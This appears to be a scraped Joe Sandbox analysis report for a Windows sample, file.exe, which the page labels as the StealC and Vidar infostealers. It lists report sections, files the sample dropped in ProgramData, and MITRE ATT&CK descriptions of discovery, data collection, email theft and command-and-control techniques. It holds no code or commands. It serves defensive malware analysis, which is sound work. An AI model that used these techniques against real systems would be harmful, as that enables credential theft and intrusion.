Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report file.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: StealC

Threatname: Vidar

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Spreading

Software Vulnerabilities

Networking

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\BAAAAKJKJEBGHJKFHIDG

C:\ProgramData\BAAFBFBA

C:\ProgramData\BKKJKFBK

C:\ProgramData\CGCFIIEBKEGHJJJJJJDA

C:\ProgramData\GCAEHDBAAECBFHJKFCFBFIDHIJ

C:\ProgramData\HIIIDAKKJJJKKECAKKJE

C:\ProgramData\KEHCGCGCFHIDBFHIIJKJKKEGII

C:\ProgramData\chrome.dll

C:\ProgramData\freebl3.dll

Windows Analysis Report
file.exe

Description:	Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients.
Tactics:	Collection
Data Sources:	Application Log: Application Log Content, Command: Command Execution, File: File Access, Logon Session: Logon Session Creation, Network Traffic: Network Connection Creation
Platforms:	Google Workspace, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre